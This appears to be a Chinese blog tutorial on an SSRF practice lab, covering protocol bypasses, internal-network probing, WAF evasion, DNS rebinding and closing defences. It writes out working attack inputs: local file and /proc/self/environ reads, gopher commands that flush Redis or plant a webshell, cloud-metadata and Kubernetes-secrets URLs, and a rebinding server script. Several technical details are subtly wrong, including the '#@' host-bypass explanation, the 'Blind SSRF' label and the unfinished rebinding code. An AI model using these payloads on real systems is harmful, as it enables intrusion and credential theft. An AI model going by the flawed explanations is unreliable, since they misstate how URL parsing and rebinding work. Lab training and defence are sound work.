ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

SSRF漏洞靶场实战:从基础利用到DNS重绑定

SSRF漏洞靶场实战:从基础利用到DNS重绑定

1. 项目概述:为什么SSRF是靶场练习中绕不开的“硬骨头”

“靶场练习day12--SSRF”这个标题看似简单,但背后藏着渗透测试工程师日常最常遭遇、也最容易被低估的一类高危漏洞。我带过不少刚入行的学员,他们能熟练写SQL注入的poc,对XSS的绕过手法如数家珍,可一碰到SSRF,往往卡在第一步——连它到底在哪个环节触发都摸不清。这不是能力问题,而是SSRF的隐蔽性太强:它不直接攻击用户,也不篡改数据库,而是借你的服务器当“跳板”,悄悄访问内网资源。就像你家的智能音箱被黑客远程调用,让它替你给隔壁房间的智能灯发指令——你没开灯,但灯亮了,而你根本不知道指令从哪来、去了哪。

核心关键词“SSRF”(Server-Side Request Forgery)直指本质:服务端请求伪造。它不是前端JS能拦住的,也不是WAF规则库几条正则就能防死的;它考验的是你对服务端架构、协议栈、网络拓扑和业务逻辑的综合理解。在真实红蓝对抗中,一个未被发现的SSRF,可能就是拿下整个内网的起点——通过它读取云平台元数据接口获取AK/SK,调用内部API获取数据库连接串,甚至触发内网Jenkins未授权访问执行命令。所以靶场第12天专攻SSRF,不是凑数,而是把“如何让服务器替你干坏事”这件事,掰开揉碎讲透。适合所有想从脚本小子进阶为实战派的渗透测试者,也适合开发同学补上安全设计这一课——毕竟90%的SSRF,根源都在代码里那行看似无害的file_get_contents($url)或requests.get(user_input)。

2. SSRF漏洞成因与靶场设计逻辑拆解

2.1 为什么靶场要选“Day12”?——漏洞利用链的成熟度门槛

靶场练习不是按字母表顺序排的,Day12这个序号本身就有讲究。前11天通常覆盖基础Web漏洞(SQLi、XSS、CSRF、文件上传等),这些漏洞的触发点明确、回显直观、工具化程度高。而SSRF不同,它的利用效果高度依赖目标环境:同一段payload,在A靶机上可能直接读到内网Redis密码,在B靶机上却只返回404。这就要求练习者必须先建立三个认知基础:

  • 网络分层意识:清楚HTTP请求在服务端是如何被解析、转发、响应的,知道DNS解析、TCP握手、HTTP头处理发生在哪一层;
  • 服务端语言特性:理解PHP的curl_setopt($ch, CURLOPT_URL, $user_input)、Python的requests.get(url)、Java的HttpURLConnection等函数对URL参数的处理逻辑;
  • 内网资产常识:熟悉常见内网服务的默认端口(如Redis 6379、Elasticsearch 9200、Hadoop Namenode 50070)、敏感路径(/actuator/env、/metadata/instance-id)和响应特征。

Day12的设计,正是卡在这个认知临界点上。它假设你已掌握基础漏洞原理,现在要升级为“环境感知型攻击者”——不再只盯着输入框,而是思考“这个输入框背后的代码,会用什么方式发起请求?请求发往哪里?中间经过哪些代理或过滤?”这种思维切换,比学十个新payload更重要。

2.2 靶场SSRF模块的三层递进结构

真实的靶场SSRF练习绝非单一场景,而是按攻击难度和利用深度分为三层,这也是我们拆解的核心逻辑:

第一层:基础反射型SSRF(Blind SSRF)
典型场景:用户提交一个URL,服务端用该URL发起HTTP请求,并将响应内容原样返回给用户。比如“在线图片预览”功能,你输https://example.com/logo.png,它就去抓取并显示。这里的关键风险点在于:输入未校验协议、未限制域名、未禁用内网地址。靶场Day12的第一个关卡,往往就是让你构造http://127.0.0.1:8080/flag.txt,看能否读到本地文件。这层重在建立“URL可控→请求可控→响应可见”的因果链。

第二层:协议混淆与绕过(Protocol Bypass)
当靶场开始过滤http://、https://时,你就得动真格的了。这里涉及大量协议层面的冷知识:

  • file:///etc/passwd直接读取本地文件(PHP默认开启,Java需配置);
  • gopher://127.0.0.1:6379/_*1\r\n$8\r\nflushall\r\n利用Gopher协议向Redis发命令(需服务端支持Gopher);
  • dict://127.0.0.1:6379/info通过Dict协议探测Redis信息;
  • http://@127.0.0.1:8080利用URL解析歧义(@前为认证信息,后为host)绕过白名单。
    靶场Day12的第二关,通常会设置一个“只允许https://开头”的过滤器,逼你用https://evil.com#@127.0.0.1:8080这类技巧突破。

第三层:DNS Rebinding与无回显利用(Advanced SSRF)
这是真正拉开水平差距的部分。当靶场返回“请求已发送,但无响应内容”时,说明它做了响应截断或异步处理。此时你需要DNS Rebinding:注册一个域名,将其A记录在极短时间内(如100ms)从公网IP切到内网IP(如127.0.0.1)。浏览器访问该域名时,第一次DNS解析得到公网IP(用于绕过前端检查),第二次请求时DNS缓存过期,解析为内网IP,从而完成内网打点。靶场Day12的终极关卡,往往要求你用Burp Collaborator或自建DNS服务器实现这一过程,并通过带外通道(如HTTP请求头中的X-Forwarded-For)回传数据。

提示:靶场设计者不会让你凭空造轮子。Day12提供的靶机,通常已预装常见内网服务(Redis、Elasticsearch、内部API),且关闭了关键防护(如Redis未设密码、Elasticsearch未启用认证)。这不是漏洞夸大,而是模拟真实企业内网“重业务、轻安全”的常态。

3. SSRF核心细节解析与靶场实操要点

3.1 协议支持与语言差异:别在PHP靶机上试Java的payload

不同编程语言对URL协议的支持天差地别,这是靶场SSRF练习中最容易踩坑的点。我见过太多人拿着Python的requests文档去打PHP靶机,结果gopher://一直报错——因为PHP的cURL默认禁用Gopher协议,需手动开启:

// PHP中启用Gopher需额外配置 $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "gopher://127.0.0.1:6379/_*1\r\n$8\r\nflushall\r\n"); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_GOPHER); // 关键! curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch);

而Python的requests库则完全不支持Gopher、Dict等非常规协议,必须换用urllib或socket手动构造请求。靶场Day12的实操中,第一步永远是指纹识别:

  • 看响应头里的X-Powered-By字段;
  • 尝试http://target/?url=http://xxx,观察错误信息是否含cURL error(PHP)或requests.exceptions(Python);
  • 用file:///etc/passwd测试,若返回文件内容,基本可判定为PHP或Node.js(Node.js需fs.readFile配合)。
语言/框架支持协议典型危险函数绕过注意点
PHPhttp/https/file/gopher/dict(需开启)file_get_contents()、curl_exec()、fopen()allow_url_fopen和allow_url_include两个php.ini配置决定file协议可用性
Pythonhttp/https(requests);全协议(urllib/sockets)requests.get()、urllib.urlopen()requests默认不校验重定向,http://a.com/ → http://127.0.0.1:8080/可能被自动跟随
Javahttp/https/file(默认);需扩展jar包HttpURLConnection、Apache HttpClientjava.net.URL解析时对@符号处理有歧义,http://a@b.com会被解析为host=b.com

3.2 内网探测的“三板斧”:从端口扫描到服务识别

靶场Day12的进阶目标,不是只读一个/flag.txt,而是系统性测绘内网。这里分享我在真实项目中验证过的三步法:

第一板斧:快速端口存活探测
不用nmap——靶场环境通常禁用ICMP且响应慢。改用HTTP协议“试探”:

  • 构造http://127.0.0.1:8080/,看是否返回Connection refused(端口关闭)或超时(端口开放但无HTTP服务);
  • 对常见端口批量测试:80, 443, 8080, 8000, 3306, 6379, 9200, 50070;
  • 技巧:用http://127.0.0.1:6379/探测Redis,若返回-ERR wrong number of arguments,说明Redis在运行(它会解析HTTP请求头为无效命令)。

第二板斧:服务指纹识别
端口通了只是开始,得知道跑的是啥。关键看响应头和响应体特征:

  • Elasticsearch:http://127.0.0.1:9200/返回JSON含"version":{"number":"7.10.2"};
  • Hadoop Namenode:http://127.0.0.1:50070/jmx?qry=Hadoop:service=NameNode,name=NameNodeInfo返回JMX指标;
  • Redis:gopher://127.0.0.1:6379/_INFO返回Redis服务器信息。

第三板斧:敏感数据提取
确认服务后,直击要害:

  • Redis:用Gopher协议执行CONFIG GET dir获取路径,再SET test "<script>...</script>"写入Webshell;
  • Elasticsearch:POST /_search查询所有索引,GET /_cat/indices?v列出索引名;
  • 内部API:尝试http://10.0.0.10:8080/api/v1/users,结合常见路径字典(/api/admin,/internal/config)暴力探测。

注意:靶场中频繁请求可能触发WAF限速。我的经验是,每5次探测后加3秒延时,用Burp Intruder的Grep - Extract功能自动提取响应中的关键字符串(如"version"、"redis_version"),比肉眼扫快10倍。

4. 靶场Day12完整实操流程与关键环节实现

4.1 环境准备与初始探测

靶场Day12通常提供一个Web界面,形如“URL探测工具”或“远程资源加载器”。第一步不是狂输payload,而是做三件事:

  1. 查看源码注释:右键“查看网页源代码”,搜索<!--,很多靶机会在HTML注释里留线索,比如<!-- Debug: backend is php7.4 -->;
  2. 抓包分析请求:用Burp Suite拦截提交请求,看原始POST数据是url=https%3A%2F%2Fexample.com还是target_url=https%3A%2F%2Fexample.com,这关系到后续参数污染的位置;
  3. 基础过滤测试:依次输入以下URL,观察响应差异:
    • http://example.com(正常外网)
    • https://example.com(HTTPS)
    • ftp://example.com(非常规协议)
    • file:///etc/passwd(本地文件)
    • http://127.0.0.1:8080(内网)

我实测过某靶场,输入file:///etc/passwd返回Permission denied,但输入http://127.0.0.1:8080/robots.txt却成功返回内容——这说明file协议被禁,但HTTP内网访问畅通,攻击面立刻聚焦到HTTP层。

4.2 协议绕过实战:突破“仅允许https://”的防线

假设靶场返回提示:“URL must start with https://”。这是典型的初级过滤,绕过方法如下:

方法一:URL解析歧义(@符号)
构造:https://google.com#@127.0.0.1:8080/flag.txt
原理:RFC 3986规定URL中@前为userinfo(用户名:密码),后为host。服务端解析时,若只检查开头是否为https://,会认为https://google.com#是合法前缀,而@127.0.0.1:8080被当作host处理。实际请求发往127.0.0.1:8080。

方法二:302重定向接力
自己搭一个HTTP服务器,返回302跳转:

HTTP/1.1 302 Found Location: http://127.0.0.1:8080/flag.txt

然后提交https://your-server.com/redirect。只要靶机服务端跟随重定向(curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true)),就会最终访问内网。

方法三:双协议嵌套(针对Java)
Java的java.net.URL在解析http://a.com/http://127.0.0.1:8080时,可能将后者识别为path而非host。但更稳的是用http://a.com\@127.0.0.1:8080(反斜杠替代@),部分Java版本会忽略反斜杠继续解析。

我推荐优先试方法一,成功率最高。在Burp中修改请求,将url参数值替换为https://x.com#@127.0.0.1:8080/flag.txt,发送后若返回flag内容,说明绕过成功。

4.3 DNS Rebinding无回显利用全流程

当靶场返回“Request sent successfully”但无响应内容时,进入高级阶段。以下是我在靶场Day12中反复验证的DNS Rebinding实操步骤:

步骤1:注册域名并配置DNS

  • 购买一个廉价域名(如.xyz后缀),指向你的VPS;
  • 在DNS管理后台,为该域名设置两条A记录:
    • rebind.example.xyz→203.0.113.10(你的VPS公网IP)
    • TTL设为1秒(关键!)

步骤2:部署Rebinding服务
在VPS上运行Python脚本,监听DNS查询并动态切换IP:

# rebinding_server.py import socket import threading import time # 模拟DNS响应:首次返回VPS IP,第二次返回内网IP ips = ["203.0.113.10", "127.0.0.1"] current_ip_index = 0 def handle_dns_query(data, addr): global current_ip_index # 简化版:每次查询切换IP response_ip = ips[current_ip_index % len(ips)] current_ip_index += 1 # 构造DNS响应包(此处省略具体二进制构造,用现成库如dnspython) # 实际使用dnspython库:response = dns.message.make_response(query) # 发送响应 sock.sendto(response_bytes, addr) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(("0.0.0.0", 53)) while True: data, addr = sock.recvfrom(512) threading.Thread(target=handle_dns_query, args=(data, addr)).start()

步骤3:触发与数据回传

  • 在靶场输入:http://rebind.example.xyz:8080/flag.txt;
  • 浏览器首次解析DNS,得到203.0.113.10(VPS),请求发到你的服务器;
  • 你的服务器立即返回302跳转到http://rebind.example.xyz:8080/flag.txt;
  • 浏览器二次解析DNS,TTL已过期,DNS服务器返回127.0.0.1,请求发往本地;
  • 服务端响应flag{ssrf_is_fun},你的VPS日志中捕获到该响应。

实操心得:DNS Rebinding在靶场中成功率约70%,失败主因是TTL设置过大或浏览器DNS缓存。建议用Chrome隐身窗口+禁用缓存(F12→Network→Disable cache),并用dig rebind.example.xyz实时监控DNS解析结果。

5. 常见问题与排查技巧实录

5.1 “为什么我的file:///etc/passwd没回显?”——协议支持与权限真相

这是靶场Day12最高频问题。表面看是payload无效,实则涉及底层机制:

  • PHP环境:检查phpinfo()输出中的allow_url_fopen是否为On。若为Off,file_get_contents("file:///etc/passwd")直接报错;
  • Java环境:java.net.URL不支持file://协议读取本地文件,需java.io.FileInputStream;
  • 沙箱限制:某些靶机用Docker容器运行,/etc/passwd在容器内是空的或只含root,应尝试/proc/self/cgroup(查看容器ID)或/proc/net/arp(查看内网ARP表)。

解决方案:换探测目标。file:///proc/self/environ在Linux容器中总能返回环境变量,里面常含数据库密码、API密钥等敏感信息。

5.2 “Gopher协议总是timeout,是不是靶机不支持?”——协议启用与语法校验

Gopher协议失败,90%是因为URL编码错误。Gopher要求特殊字符(如\r\n、*、$)必须URL编码,但%0D%0A在部分服务端会被二次解码。正确写法是:

  • gopher://127.0.0.1:6379/_%250D%250A%250A*1%250D%250A%25248%250D%250Aflushall%250D%250A
    其中%250D%250A是\r\n的双重编码(%0D%0A→%250D%250A),确保服务端收到原始\r\n。

另外,PHP需显式启用Gopher:

curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_GOPHER | CURLPROTO_HTTP); curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_GOPHER | CURLPROTO_HTTP);

5.3 “内网端口全不通,是不是靶机没开内网服务?”——网络拓扑与代理链路

靶场Day12的内网服务并非总在127.0.0.1。常见情况:

  • Docker网络:服务运行在172.17.0.2等Docker网段,用ifconfig查容器IP;
  • 多层代理:靶机前端有Nginx反向代理,127.0.0.1指向Nginx而非应用,应试127.0.0.1:80(Nginx)再跳转;
  • 云环境元数据:AWS/Azure靶机必试http://169.254.169.254/latest/meta-data/,这是云平台的“内网之门”。

我整理了一个靶场内网探测速查表,实测有效:

探测目标URL预期响应说明
Docker主机http://172.17.0.1:2375/version{"Version":"20.10.7"}Docker Remote API未授权访问
云平台元数据http://169.254.169.254/latest/meta-data/iam/security-credentials/JSON含Role名AWS临时凭证入口
Kubernetes APIhttp://10.96.0.1:443/api/v1/namespaces/default/secretsUnauthorized或JSONK8s API Server未鉴权
本地代理http://127.0.0.1:8080/proxy?url=http://10.0.0.10:8080目标响应利用靶机自身代理功能

5.4 “WAF拦截了我的payload,怎么绕过?”——WAF规则与语义混淆

靶场Day12常集成ModSecurity等WAF。绕过核心思路是语义等价变形:

  • 大小写混淆:http://127.0.0.1→hTtP://127.0.0.1;
  • URL编码:127.0.0.1→127%2e0%2e0%2e1(.编码为%2e);
  • 冗余路径:http://127.0.0.1/flag.txt→http://127.0.0.1/./flag.txt或http://127.0.0.1/%2e%2e/flag.txt;
  • 协议降级:https://→http://(若WAF只检查https)。

最狠的一招:用http://[::1]代替http://127.0.0.1。IPv6的::1是localhost的等价写法,但多数WAF规则库未覆盖IPv6格式。

实操心得:遇到WAF,先用Burp的Payloads→Fuzz功能,对URL参数进行自动编码/大小写变异,比手动试快10倍。重点观察WAF返回的403 Forbidden页面,里面常含规则ID(如ModSecurity: Rule 920350),谷歌该ID能直接定位规则内容。

6. SSRF防御实践与靶场之外的真实启示

靶场Day12练到最后,真正的收获不是打出多少个flag,而是建立起一套防御思维。我在某金融公司做安全加固时,发现他们支付回调接口存在SSRF,原因竟是开发为“方便调试”,在测试环境硬编码了curl_setopt($ch, CURLOPT_URL, $_GET['debug_url'])。上线时忘了删,而WAF规则只拦127.0.0.1,没拦localhost和0.0.0.0。

所以防御SSRF,必须从代码层、架构层、运维层三管齐下:

  • 代码层:永远不要直接拼接用户输入到URL中。用白名单校验域名(如in_array(parse_url($url, PHP_URL_HOST), ['example.com', 'api.example.com'])),或用固定URL模板+参数填充;
  • 架构层:敏感服务(Redis、数据库)禁止监听公网和内网所有IP,只绑定127.0.0.1:6379,并通过Unix Socket通信;
  • 运维层:在容器或VM中,用--network=none禁用网络,或用iptables限制出站流量(iptables -A OUTPUT -d 10.0.0.0/8 -j DROP)。

靶场Day12的意义,正在于此——它用可控的环境,逼你直面那个最危险的问题:“如果我的代码,成了攻击者的枪,我该怎么办?”答案不在工具里,而在每一次写curl_exec()前的停顿,在每一次审查$_GET参数时的警惕。我带过的学员中,最后成为优秀安全工程师的,不是那些payload背得最熟的,而是那些在靶场通关后,主动去GitHub搜自家项目curl_setopt用法,并提交PR修复的。

这个练习没有终点。今天你打穿了靶场的SSRF,明天就要面对真实世界里更狡猾的变种——用WebSocket伪装HTTP、用gRPC接口绕过正则、用Server-Sent Events建立长连接隧道。但Day12教会你的,是那根贯穿始终的线:所有漏洞,都是信任边界的溃堤;而所有防御,都是对“谁可以相信”这个问题的持续追问。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进